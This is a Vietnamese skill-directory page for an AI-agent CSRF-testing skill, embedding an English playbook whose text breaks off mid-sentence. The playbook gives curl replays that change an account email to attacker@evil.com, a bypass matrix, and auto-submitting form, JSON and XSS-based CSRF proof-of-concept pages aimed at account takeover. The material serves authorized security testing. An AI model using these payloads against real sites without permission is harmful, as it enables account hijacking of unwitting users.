csrf
Skill này làm gì
Skill này hướng dẫn agent kiểm tra xem các hành động tài khoản trong ứng dụng web có được bảo vệ khỏi giả mạo yêu cầu liên trang (CSRF) hay không. Dành cho người kiểm thử bảo mật rà soát các thay đổi tài khoản.
Khi nào nên dùng
- ✓Khi bạn muốn kiểm tra xem một website khác có thể kích hoạt việc đổi mật khẩu hoặc email không.
- ✓Khi một rà soát bảo mật hỏi liệu form có kiểm tra token riêng cho từng yêu cầu không.
- ✓Khi bạn cần kiểm tra xem SameSite hoặc kiểm tra Origin có bảo vệ các hành động tài khoản không.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/csrf/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Bạn có thể kiểm tra xem form đổi email trong ứng dụng của tôi có thể được gửi từ một website khác không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent phát lại một yêu cầu thật của người đã đăng nhập mà không có token, hoặc với token sai, rồi kiểm tra xem máy chủ có vẫn chấp nhận không.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
CSRF Playbook
Any state-changing endpoint (POST/PUT/DELETE, or GET with side effects) that trusts ambient cookies and lacks a per-request unguessable token is forgeable. Severity scales with the action: password/email change, fund transfer, role grant → account takeover (Critical). Read-only CSRF (no state change) → Info.
1. Detection — is the endpoint actually protected?
# Capture a real authenticated request first, then replay WITHOUT the token / Origin / Referer
COOKIE='session=...; remember=...'
# (a) Strip CSRF token — does it still succeed?
curl -s -o /dev/null -w "no-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
-H "Cookie: $COOKIE" -H "Content-Type: application/x-www-form-urlencoded" \
--data "email=attacker@evil.com"
# (b) Send a clearly invalid token — is it validated?
curl -s -o /dev/null -w "junk-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
-H "Cookie: $COOKIE" -H "Content-Type: application/x-www-form-urlencoded" \
--data "csrf=AAAAAAAA&email=attacker@evil.com"
# (c) Swap another user's token in (token-not-bound-to-session)
curl -s -o /dev/null -w "other-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
-H "Cookie: $COOKIE" --data "csrf=<TOKEN_FROM_ANOTHER_ACCOUNT>&email=attacker@evil.com"
# (d) Origin / Referer header validation
curl -s -o /dev/null -w "no-origin=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
-H "Cookie: $COOKIE" -H "Origin: https://evil.com" --data "csrf=<TOKEN>&email=attacker@evil.com"
# (e) Method override (POST → GET, or X-HTTP-Method-Override)
curl -s -o /dev/null -w "method-override=%{http_code}\n" \
"https://<TARGET>/account/email?email=attacker@evil.com" -H "Cookie: $COOKIE"
HTTP 200/302 on (a)-(e) = protection missing or trivially bypassable.
2. Bypass / misconfig matrix
| Class | Server flaw | Bypass |
|---|---|---|
| Token absent | no token at all | direct cross-origin form POST |
| Token not validated | header sent but never checked | send empty / random token |
| Token not bound to session | token from another account works | mint a token in attacker account, use against victim |
| Predictable token | sequential / timestamp / md5(userid) | precompute |
| Token in URL | leaks via Referer / logs / shoulder | steal then replay |
| Method-override | _method=POST, X-HTTP-Method-Override: POST |
turn protected POST into a GET CSRF |
| JSON CSRF | accepts Content-Type: application/json from forms |
submit form with enctype=text/plain + crafted body, or use fetch |
| Content-type bypass | only validates token when CT=application/x-www-form-urlencoded |
switch to text/plain or multipart/form-data |
| SameSite=Lax gap | top-level GET still sends cookie | GET-based state change, or <form method=POST> triggered by user click |
| SameSite=None | no protection at all | classic cross-site form |
| Missing on subset | only /admin/* protected |
unprotected sister endpoint (/api/v1/email) |
| Login CSRF | login endpoint has no token | force victim into attacker's account → captures victim activity |
| Logout CSRF | logout has no token | denial-of-service / phishing reset |
| Double-submit cookie flaw | cookie not __Host- prefixed / set from any subdomain |
XSS on subdomain plants the cookie + matching body value |
| Referer-only check | header strippable | <meta name="referrer" content="no-referrer"> on attacker page |
3. Exploit PoC
3.1 Classic form CSRF (auto-submit)
<!-- host on attacker origin; victim is logged into <TARGET> -->
<form id="x" action="https://<TARGET>/account/email" method="POST">
<input name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('x').submit();</script>
3.2 JSON CSRF via text/plain
<form action="https://<TARGET>/api/account" method="POST" enctype="text/plain">
<input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
<script>document.forms[0].submit();</script>
3.3 CSRF via XSS (defeats double-submit / SameSite)
// runs as same-origin via XSS on <TARGET>
fetch('/account/csrf-token').then(r => r.text()).then(t => {
fetch('/account/email', {
method: 'POST', credentials: 'include',
headers: {'Content-Type':'application/x-www-form-urlencoded','X-CSRF-Token': t},
body: 'email=attacker@evil.com'
});
});
4. Chains
- CSRF → ATO: change email → password reset → full takeover.
- Login CSRF → activity capture: victim
Câu hỏi thường gặp
Kiểm thử CSRF là gì?
Nó kiểm tra xem máy chủ có chấp nhận một hành động từ người dùng đã đăng nhập ngay cả khi yêu cầu đến từ website khác không.
Có bao gồm cả đăng nhập không?
Có. Skill nhắc đến CSRF khi đăng nhập và đăng xuất trong số các trường hợp nó bao gồm.
Lỗi CSRF nghiêm trọng đến mức nào?
Skill cho biết nó nghiêm trọng nhất khi cho phép ai đó đổi mật khẩu, email, tiền hoặc vai trò.
Chi tiết
Mô tả gốc của tác giả
Cross-Site Request Forgery — missing/invalid tokens, method override, JSON CSRF, SameSite gaps, double-submit flaws, login/logout CSRF, and CSRF-via-XSS chains to account takeover.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #14057
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.